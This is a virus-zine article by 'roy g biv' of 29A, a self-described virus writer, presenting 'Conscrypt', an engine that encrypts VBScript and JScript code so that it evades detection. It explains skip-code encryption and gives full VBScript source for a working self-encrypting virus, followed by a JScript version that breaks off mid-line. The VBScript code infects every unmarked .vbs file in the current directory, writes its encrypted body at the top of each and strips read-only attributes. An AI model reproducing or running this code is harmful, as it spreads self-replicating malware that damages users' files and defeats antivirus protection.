Self-crypting script files roy g biv / 29A About the author: Former DOS/Win16 virus writer, author of several virus families, including Ginger (see Coderz #1 zine for terrible buggy example, contact me for better sources ;), and Virus Bulletin 9/95 for a description of what they called Rainbow. Co-author of world's first virus using circular partition trick (Orsam, coded with Prototype in 1993). Designer of world's first XMS swapping virus (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is swapped out). Author of world's first virus using Thread Local Storage for replication (Shrug, see Virus Bulletin 6/02 for a description, but they call it Chiton), world's first virus using Visual Basic 5/6 language extensions for replication (OU812), world's first Native executable virus (Chthon), world's first virus using process co-operation to prevent termination (Gemini, see Virus Bulletin 9/02 for a description), world's first virus using polymorphic SMTP headers (Junkmail, see Virus Bulletin 11/02 for a description), and world's first viruses that can convert any data files to infectable objects (Pretext). Author of various retrovirus articles (eg see Vlad #7 for the strings that make your code invisible to TBScan). Went to sleep for a number of years. I am awake now. ;) Why not? When thinking about the number of encrypted macro viruses, it is strange that there are not so many encrypted script viruses. I have no answer for why it is so. ;) Anyway, here I present a simple engine for encrypting VBScript and JScript files. It uses a variable skip-code encryption with oligomorphic decryptor. The cryptor supports variable spacing, random variable names, random variable case, random keyword case (VBScript only), and variable skip-codes with constant packet size. It can be used recursively, too. How? The difficulty of self-crypting scripts is because of needing the decrypted source in order to encrypt it again. The problem is then how to get decrypted source? There are two options here: the first is to rebuild the source at runtime, but this is not always easy and we want a simple engine. The second option is to decrypt the encrypted source, but this is easy only when the structure is weak (easy to find and easy to parse). This second is the option that we use here. Skip-codes (constant) Constant skip-code encryption is simply that our character is every nth character in a string (s), where n is the value of the skip code. A plain string has n equal to 1, so our character is every character in the string. To encrypt is to increase the value of n, and fill the unused characters by random values. First, n=1: this is our string Then n=2, and unused characters are set to !: !t!h!i!s! !i!s! !o!u!r! !s!t!r!i!n!g and is accessed by this VBScript code: for i = n to len(s) step n d = d + mid(s, i, 1) next or this JScript code: d = "" for (i = n - 1; i < s.length; i += n) d = d + s.charAt(i) Skip-codes (variable) Variable skip-code encryption is also that our character is every nth byte in a string, but now n can be a different value for every character. This is implemented by storing the characters in "packets" which contain the value of n. The packet size (p) can be either constant or variable. An example of constant packet size (p=3), with n as the first character in each packet, could look like this: 1t!2!h1i!2!s1 !2!i1s!2! 1o!2!u1r!2! 1s!2!t1r!2!i1n!2!g In this example, the value of n alternates between 1 and 2. It is accessed by this VBScript code: for i = 1 to len(s) step p d = d + mid(s, i + mid(s, i, 1), 1) next or this JScript code: d = "" for (i = 0; i < s.length; i += p) d = d + s.charAt(i + (s.charAt(i) & 15)) "charAt(i) & 15" is fewer bytes than "charCodeAt(i) - 48", for same result. Variable packet size can be implemented by also storing the packet size in the packet. An example of variable packet size, with p as the first character in each packet, and n as the second character in each packet, could look like this: 32t!22h33!i22s32 !22i33!s22 32o!22u33!r22 32s!22t33!r22i32n!22g In this example, the value of both p and n alternate between 2 and 3. It is accessed by this VBScript code: for i = 1 to len(s) d = d + mid(s, i + mid(s, i + 1, 1), 1) i = i + mid(s, i, 1) next or this JScript code: d = "" for (i = 0; i < s.length; i++) { d = d + s.charAt(i + (s.charAt(i + 1) & 15)) i = i + (s.charAt(i) & 15) } The value of p (at mid(s, i, 1)) is 1 less than the real packet size because the for loop will increment i automatically. And then... No matter how good is the encryption, the weak link is the decryptor. If the decryptor is extremely complex, or unique in some way, then no-one will bother with the encrypted code and will simply detect the decryptor itself. In the world of scripts, where encryption is more common, we can use a simple decryptor with little risk, because some harmless ones might look like ours. Also, this decryptor can be layered, but then it takes a long time to decrypt, and only the first layer is variable. Let's see the code. It requires only WSH v3+ because no new features are used. First is VBScript version. 'Conscrypt - roy g biv 01/02/03 dim loff,newl set fso=createobject("scripting.filesystemobject") set file=fso.opentextfile(wscript.scriptfullname) bann=file.readline oldl=file.readline file.close randomize dospc 1 rcase 8 v1=nvar outch"(" v2=nvar outch")" 'function aaaaa(bbbbb) outch":" rcase 3 v3=nvar outch"=" outch"1" rcase 2 rcase 3 outch"(" outv v2 outch")" rcase 4 v5=mid(oldl,loff,1) 'old packet size v6=int(rnd*7)+2 'new data size: 2-8 'if you do not use ! character, then line can be 'v6=int(rnd*7)+2 '1-8 outch cstr(v6+1) 'for ccccc=1 to len(bbbbb) step x outch":" v4=nvar outch"=" rcase 4 outch"(" rcase 3 outch"(" outv v2 outch"," outv v3 outch"," outch"1" outch")" outch")" 'ddddd=cint(mid(bbbbb,ccccc,1)) outch":" outv v1 outch"=" outv v1 outch"+" rcase 3 outch"(" rcase 3 outch"(" rcase 3 outch"(" outv v2 outch"," outv v3 outch"+" outv v4 outch"," outch"1" outch")" outch")" outch"-" outv v4 outch")" 'aaaaa=aaaaa+chr(asc(mid(bbbbb,ccccc+ddddd,1))-ddddd) outch":" rcase 4 'next outch":" rcase 3 rcase 8 'end function outch":" rcase 7 outch"(" outv v1 outch"(" outch chr(34) cb=instr(mid(oldl,loff),chr(34)) for loff=loff to loff+cb-v5 step v5 oldkey=cint(mid(oldl,loff,1)) do nkey=int(rnd*v6)+1 c=asc(mid(oldl,loff+oldkey,1))-oldkey+nkey loop while c=34or c>127 'no " or 8-bit chars newl=newl+cstr(nkey) for kl=2to nkey newl=newl+rchar next newl=newl+chr(c) for kl=kl to v6 newl=newl+rchar next next outch chr(34) outch")" outch")" 'execute(aaaaa("encrypted code")) set dir=fso.getfolder(".") 'demo version, current directory only for each item in dir.files if lcase(fso.getextensionname(item))="vbs"then err=0 set inf=fso.opentextfile(item,1) 'open potential victim if err.number=0then fst=inf.read(1) 'read first character if fst<>"'"then 'check for infection marker rest=inf.readall 'read entire file attr=item.attributes 'save attributes item.attributes=0 'remove any read-only attribute err=0 set outf=fso.opentextfile(item,2) 'open file for writing if err.number=0then outf.writeline(bann) 'prepend banner outf.writeline(newl) 'prepend code outf.write(fst+rest) 'append first character and host outf.close 'close file (write mode) end if item.attributes=attr 'restore attributes end if inf.close 'close file (read mode) end if end if next sub dospc(curoff) 'replace space with random number of spaces if mid(oldl,curoff,1)=" "then newl=newl+space(rnd*5+1) while mid(oldl,curoff,1)=" " curoff=curoff+1 wend end if loff=curoff end sub sub rcase(lineend) 'random case switch on keywords for cb=loff to loff+lineend-1 newl=newl+chr(asc(mid(oldl,cb,1))xor(int(rnd*2)*32)) next dospc loff+lineend end sub function rchar 'random case letter rchar=chr(int(rnd*26)+65+int(rnd*2)*32) end function sub outv(tvar) 'variable followed by random number of spaces newl=newl+tvar dospc loff+instr(mid(oldl,loff)," ")-1 end sub function nvar 'random sequence of random case letters while tv=v1 or tv=v2 or tv=v3 or tv=v4 tv="" for cb=1to rnd*5+5 '5-9 characters tv=tv+rchar next wend outv tv nvar=tv end function sub outch(ch) 'character followed by random number of spaces newl=newl+ch dospc loff+1 end sub Now is JScript version. //Conscrypt - roy g biv 01/02/03 fso=new ActiveXObject("scripting.filesystemobject") with(inf=fso.opentextfile(WScript.scriptfullname)) { bann=readline() oldl=readline() close() } Math.random(1) newl="" dospc(0) outv("function") var v1=nvar(),v2,v3,v4,v5 outch("(") v2=nvar() outch(")") //function aaaaa(bbbbb) outch("{") v3=nvar() outch("=") outv("\"\"") //ccccc="" outch(";") outv("for") outch("(") v4=nvar() outch("=") outch("0") outch(";") outv(v4) outch("<") outv(v2) outch(".") outv("length") outch(";") outv(v4) outv("+=") v6=oldl.charAt(loff) //old packet size v7=(Math.random()*7+2)&15 //new data size: 2-8 //if you do not use ! character, then line can be //v7=(Math.random()*8+1)&15 //1-8 outch(v7+1) outch(")") //for(ddddd=0;ddddd127) //no " or \ or 8-bit chars newl+=nkey kl=0 while(++kl